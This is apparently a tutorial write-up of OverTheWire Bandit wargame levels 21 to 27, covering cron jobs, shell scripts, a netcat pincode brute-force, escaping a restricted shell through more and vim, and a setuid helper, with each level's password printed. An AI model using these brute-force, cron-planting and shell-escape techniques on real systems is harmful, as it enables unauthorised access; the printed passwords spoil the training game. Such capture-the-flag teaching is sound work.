Sysadmin bread and butter
Publ .
Mins 18 (3687 words).
Edit .

The next few levels take a dive into two essential tools that every aspiring system administrator must master. System Daemons and Shell scripting.
Daemons are not Demons. A peek to the etymology of both words reveals that
their meaning is orthogonal. A Demon is an evil personality, whereas a Daemon is
some sort of angel guardian that helps form the character of the people he
assists. For our context, it is worthwhile to understand that a system daemon
is a process that runs in the background, sometimes even outside of the control
of the user. Most daemons come alive at init
, a system Script which executes
as the last step of the kernel boot sequence. They are specialized programs
that take care of very specific tasks in order to keep the OS running smoothly.
Scripts are … well, you guessed it! Scripts! They can be totally though of
as analogs to a writing or a document for a play. As any play, scripts must be
interpreted by an artist. For bash scripts, the performer is the shell. It is
worth noting that the shell is, in addition to an insulating layer between the
operating system and the kernel, a fairly powerful programming language. A
shell program or script is a tool that we can use to build applications.
They make possible to leverage virtually all system commands, utilities and
tools. Scripts offer a point of entry to automate many tasks.
We should mention that on Level 2 we were pointed to an extensive guide regarding Scripts. The document is very detailed, keeping it at hand for future references may be a good idea.
Index
LEVEL 21 -> LEVEL 22
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
Commands you may need to solve this level
cron
,crontab
,crontab(5)
(useman 5 crontab
to access this)
You have to deal with a program that is described as the classic sysadmin
tool. cron
is used mostly for automation of tasks. But in combination with
scripts, programs and some imagination the possible uses are endless.
After a thoroughly inspection of the manuals, you should learn that cron
is a
software utility that executes scheduled tasks. It runs as a daemon and is
started automatically as a service by init.d
.
The scheduled tasks driving this daemon are stored in files. They are located
by default in /var/spool/cron/crontabs
but they are not intended to be edited
directly. crontab
is the program that should be used to manage these files.
Users may have their own individual cron tables, and there is often a global
table located at /etc
for system administrator’s management. As you have been
prompted, look inside the directory /etc/cron.d
. Is in this folder is where
cronjobs
are waiting to be called and executed by the system daemon cron
.
The d letter aims to avoid confusion, since there can possibly be a file
named /etc/cron
as system-wide crontab. In this particular system there is
such a file but its called /etc/crontab
. There is in this file a detailed
explanation of the common syntax that is used to define jobs.
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
In the directory you’ve been told to inspect, there are several cronjobs, from various users. Some appear to be related to different levels of the game, while others seem non-game-related.
$ ls /etc/cron.d/
cronjob_bandit15_root cronjob_bandit23 e2scrub_all sysstat
cronjob_bandit17_root cronjob_bandit24 otw-tmp-dir
cronjob_bandit22 cronjob_bandit25_root .placeholder
The file that should be of our interest is cronjob_bandit22
.
$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
Comparing this output to the description in /etc/crontab
is easy to infer that
there is a script running at system reboot but also at every minute. >&
is an
unknown construct. It is a redirection operator that sends both
stdout(the output) and stderr(any message errors that may occur) of the command
executed to the null device, to make its output ‘disappear’.
The next logical step is to check the contents of the script that is being executed.
$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Lets look at this script statement by statement:
#!/bin/bash
The first line is a Shebang, its purpose is telling the system that this file is composed of a set of commands that need to be fed to the command interpreter indicated. All scripts start with a shebang.
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
This runs the program chmod to change access permission of the file t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv. It gives the owner write/read access and read permission to group/others.
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
The last line redirects the content of the file containing the password for level 22 to the file the on /tmp.
Given the permissions the script set on this file, you should be able to get the password for the next level by reading it:
$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff
LEVEL 22 -> LEVEL 23
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints.
Commands you may need to solve this level
cron
,crontab
, crontab(5) (useman 5 crontab
to access this)
In similar fashion to the previous level, you deal with an automated task.
$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
Again, ou have a script running at system reboot and at every minute, redirecting file descriptors 1 and 2 to the null device. Let’s look at the contents of the script to work out its purpose.
$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
Given the procedural nature of scripts, they should be analyzed carefully. You need to understand each and every statement precisely. You might test the commands on the terminal, read the manpages for them, perform web searches, etc. You never should move from a line until you fully understand its meaning.
Shebang
Pointing the system to feed this file to the bash interpreter.Variable declaration and assignment
myname
should hold the contents of the output of the commandwhoami
, the stringbandit23
.Variable declaration and assignment
mytarget
holds the output of theecho
command. This string is the result of piping the literal"I am user bandit23"
tomd5sum
. This calculates a cryptographic checksum. The resulting checksum is piped tocut
. All contents after the first occurrence of a blank space are discarded.Print
echo
prints the given arguments, all variables that are preceded by the dollar sign are expanded and show its literal content.$myname
gets replaced bybandit23
, and$mytarget
the checksum previously calculated.Concatenation
cat
concatenates the contents of the password for the next level, which is stored in/etc/bandit_pass/bandit23
and redirects it to the file/tmp/$mytarget
.
All this given, the only thing your are left to do to is to find out is the name
of the file that contains our password. Let’s run the command on the left hand
side of $mytarget
with the same parameters as in the script:
echo "I am user bandit23" | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
Finally, read the contents of the file in /tmp/
that goes by that name:
$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G
LEVEL 23 -> LEVEL 24
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level! NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…
Commands you may need to solve this level
cron
,crontab
, crontab(5) (useman 5 crontab
to access this)
You have at hand a system automated task, let’s firs check the command being executed:
$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
A script is being executed at every minute and at reboot. Its output is redirected to the null device as in the previous level. A logical first step is executing the script to see its output. There are several ways to run a script on the terminal, one of them is specifying the full path of the executable, the system will take care of calling an interpreter to run it.
$ /usr/bin/cronjob_bandit24.sh
/usr/bin/cronjob_bandit24.sh: line 5: cd: /var/spool/bandit23/foo: No such file or directory
Executing and deleting all scripts in /var/spool/bandit23/foo:
Handling *
stat: cannot statx './*': No such file or directory
Handling .bash_logout
rm: cannot remove './.bash_logout': Permission denied
Handling .bashrc
rm: cannot remove './.bashrc': Permission denied
Handling .profile
rm: cannot remove './.profile': Permission denied
This program appears to be deleting all script located in the folder
/var/spool/bandit23/foo
. The rest of the output seems to be some error
messages from the rm
program. Let’s fully analyze its procedure line by line:
1#!/bin/bash
2
3myname=$(whoami)
4
5cd /var/spool/$myname/foo
6echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
7for i in * .*;
8do
9 if [ "$i" != "." -a "$i" != ".." ];
10 then
11 echo "Handling $i"
12 owner="$(stat --format "%U" ./$i)"
13 if [ "${owner}" = "bandit23" ]; then
14 timeout -s 9 60 ./$i
15 fi
16 rm -f ./$i
17 fi
18done
Shebang Point the system to feed this file to the
bash
interpreter.Variable declaration and assignment
myname
holds the contents of the output of the commandwhoami
, which is the user name of whoever executes the script. This is verifiable by observing our execution of the file.Executing and deleting all scripts in /var/spool/_bandit23_/foo
was the first line because you are user bandit23. If this is correct, the variable should holdbandit24
when cron runs the script.Change directory Move prompt to
/var/spool/$myname/foo
. The variablemyname
is preceded by a dollar sign, so it gets expanded to its literal meaning. Thus the command changes the current working directory tocd /var/spool/bandit24/foo
.For loop
This is the main control structure of the script. A loop is a block of code that iterates a list of commands as long as the control condition is true.
The syntax of the loop is composed of several keywords, and the statements that may be executed are those indented and placed between the keywords do and done.The general syntax for declaring a for loop is:
for argument in [list] do statements done. The list this script’s’ loop is going to iterate over is the expansion of the wildcard* .*
which represents all files in the current folder. For each iteration the argumenti
will get assigned the element of the list that is being iterated over.If statement Another flow control statement, its general syntax is: if condition then statements fi. The block of code between the keywords then and fi is executed when condition evaluates to true.
The condition is the string between square brackets. It is composed of two statements united by the logical AND operator
-a
. Both operations are of the forme1 != e2
, which evaluates to true if and only if expression-1 is not equal to expression-2.Thus the whole condition is true only if both
!=
comparisons evaluate to true. Finally, you should also bear in mind that the dollar sign expands the variables to the values they hold and that all string between double quotes preserve they literal values.Given this facts, the condition evaluation in plain english is if the name of the file we are iterating over is neither . (dot) nor .. (dot dot) then.
echo
Print the given argument.Variable declaration and assignment
owner
holds the output of the commandstat --format "%U" ./$i
. Because$i
gets expanded to some filename under each iteration of the for loop, stat evaluates to a string that is the username of the owner of the file.If statement
the inner comparison operatione1 = e2
asserts that the variable owner holds the string literal “bandit23”.timeout
Run a command with a time limit. Run the file to which the variablei
expands to for at most 60 seconds.-s 9
means send signal 9 after timeout. Also named SIGKILL, signal 9 is a type of communication used by the system to indicate that a process and its running threads must be terminated right away. This may be the layout of the command for safety reasons, or to stop execution of infinite loops. This file seems to be intended to run a script that we will craft right away.rm
Remove the the variablei
expands to.
In summary, the script that
cron
runs will execute for at most sixty seconds all scripts owned by user bandit23 that are located in the folder/var/spool/bandit24/foo
deleting them afterwards.
You should write a script to make user bandit24 copy the contents of the password file stored in /etc to a location where our permissions allow access.
Let’s make a temporary folder and touch
two files. One for our script, giving
it the necessary permissions for execution and another with open permssions,
where bandit24 will store our password.
mkdir /var/tmp/foobarbaz
touch script.sh lvl24pass.txt
chmod +x script.sh
chmod 666 lvl24pass.txt
Now write our script with a text editor. nano
and vim
are available on the
server, these are the contents of script.sh
:
#!/bin/bash
cat /etc/bandit_pass/bandit24 >> /var/tmp/foobarbaz/lvl24pass.txt
Finally, you should copy the script file to the target location and wait a few seconds until cron picks it up and executes it.
$ cp /var/tmp/foobarbaz/script.sh /var/spool/bandit24/foo/
$ sleep 60; cat lvl24pass.txt
[1]+ Done sleep 60
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar
LEVEL 24 -> LEVEL 25
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
You do not need to create new connections each time.
By leveraging previously learned concepts you should be able to overcome this challenge.
First let’s analyze the behavior of the daemon, connecting to the specified port
using netcat
, and typing input to test it.
$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
input
Fail! You did not supply enough data. Try again.
this_string_should_be_the_password 1234
Wrong! Please enter the correct pincode. Try again.
this_string_should_be_the_password 0000
Wrong! Please enter the correct pincode. Try again.
Let’s use a for loop on the shell to generate a file containing all possible input combinations.
$ mkdir /tmp/foobarbaz
$ cd /tmp/foobarbaz
$ for i in {0..9999}; do echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i" >> pincodes; done
Now run nc
using our pincodes file as input and writing the response to
another file.
$ nc localhost 30002 < pincodes >> output
The output file should contain a line with the password for the next level.
$ tail output
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
Exiting
LEVEL 25 -> LEVEL 26
Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.
Commands you may need to solve this level
ssh
,cat
,more
,vi
,ls
,id
,pwd
First inspect the home folder using ls
$ ls
bandit26.sshkey
If using this keyfile to login as user bandit26, you are immediately kicked out of the server.
$ ssh -i bandit26.sshkey bandit26@localhost -p 2220
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
....
....
Enjoy your stay!
_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_
| '_ \ / _` | '_ \ / _` | | __| / / '_ \
| |_) | (_| | | | | (_| | | |_ / /| (_) |
|_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
Connection to localhost closed.
How to find out user bandit26’s current shell? A web
search yields a list of
methods that may help. Many of the commands suggested only output the shell of
the current user. But there is a mention of the existence of a plain text file
containing user account information. The location is /etc/passwd/
. man 5 passwd
will help you better comprehend the structure and purpose of the file.
Concatenation of the contents of it and the yields an output that is quite long.
By piping it through grep
you catch only the information regarding user
bandit26.
$ cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
As the manual describes, the line has seven fields delimited by colons. The last field is the user’s command interpreter. Let’s proceed by exploring the contents of the file that is specified as shell for user bandit26.
$ cat /usr/bin/showtext
#!/bin/sh
export TERM=linux
exec more ~/text.txt
exit 0
It is a simple script executing in place of the default shell spawning. The
interpreter the script uses is sh
. The line export TERM=
modifies the
default terminal emulator to linux
. Then it executes the command more
(a
primitive pager) on the file ~/text.txt
. Finally, the script finishes
execution with exit 0
, terminating our connection.
You have to find a way to avoid the script executing its final line. The manual
page for the more program describes it as a filter for paging one screenful
at a time. This means more
should not exit if the data it has to show is large
enough to not fit in one screen. You do not have permissions to modify the
file text.txt
, but you can make your screen smaller. This should trigger the
script to ‘hang’ on more
, before reaching exit
.
Using the screen
terminal multiplexer locally, first create one more region to
allow resizing using C-a S
. Then shrink our current region to 6 lines with
C-a :resize -v 6
and re run the ssh
login command:
_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_
| '_ \ / _` | '_ \ / _` | | __| / / '_ \
--More--(66%)
Now you are logged in as user bandit26 but are not in a command interpreter yet,
you are inside the program more
. Lets enlarge our window to its default size
issuing C-a :resize -v 20
.
In man more
you find a list of interactive commands. The command v
starts
the default editor at the current line. When pressing v
, vim
spans for
edition of the current file.
A web search helps
at figuring out that the command :shell
or :sh
can be used inside the editor
to spawn a shell within vim itself. But issuing the command does not work!
The problem is that the default shell for vim
is also /usr/bin/showtext
.
You might check this with :set shell?
.
Let’s change it to bash!
After issuing :set shell=/bin/bash
, :sh
spawns a shell for user bandit26.
:sh
bandit26@bandit:~$
You are now able to read the password for the level on the default server location:
bandit26@bandit:~$ cat /etc/bandit_pass/bandit26
c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1
LEVEL 26 -> LEVEL 27
Good job getting a shell! Now hurry and grab the password for bandit27!
Commands you may need to solve this level
ls
Listing the files on bandit26’s home directory, you have as in level 19->20 a setuid binary. Let’s execute it to see its default output.
$ ls
bandit27-do text.txt
$ ./bandit27-do
Run a command as another user.
Example: ./bandit27-do id
In the same fashion as in level 19 -> 20, you can make user bandit27 cat
its
own password for you:
$ ./bandit27-do cat /etc/bandit_pass/bandit27
YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS